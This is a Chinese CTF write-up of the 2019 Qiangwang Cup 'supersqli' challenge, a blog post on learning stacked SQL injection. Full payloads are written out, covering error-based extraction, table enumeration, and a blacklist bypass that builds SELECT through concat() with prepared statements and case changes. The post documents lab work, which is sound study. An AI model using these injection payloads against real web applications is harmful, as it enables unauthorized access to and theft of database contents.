强网杯 2019 supersqli Writeup
0x00 前言
2019年强网杯一道堆叠注入+预编译绕过的题目,记录下来学习。
0x01 Writeup
传参
1 | inject=1' |
报错
添加注释,返回正常
order by探测字段数为2
存在过滤检测:
1 | inject=1' unioin select 1,2--+q |
没有过滤extractvalue(),试试报错注入
1 | inject=1' and extractvalue(1,(concat(0x7e,(database()))))--+q |
虽然知道了表名,但是select无法绕过,不能继续
尝试堆叠注入
1 | inject=0';show tables--+q |
有两个表,分别是 1919810931114514 和 words
1 | inject=0';show columns from words--+q |
1 | inject=0';show columns from `1919810931114514`--+q |
这个表名要加反引号
找到flag字段
获取flag
1 | inject=0';select * from `1919810931114514`--+q |
而这里需要预编译结合concat()绕过select
预编译:
set 设置变量名和值
prepare 预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 释放掉预处理的语句
将上式拆开:
1 | concat('sel','ect * from `1919810931114514`--+q') |
完整预编译:
1 | inject=0'; |
输入
1 | inject=0';set @sql = concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqli;--+q |
看到 set 、 prepare在黑名单 $inject中,并且使用strstr()进行比较
strstr()大小写敏感,可以大小写绕过
最终:
1 | inject=0';Set @sql = concat('se','lect * from `1919810931114514`;');Prepare sqli from @sql;execute sqli;--+q |
评论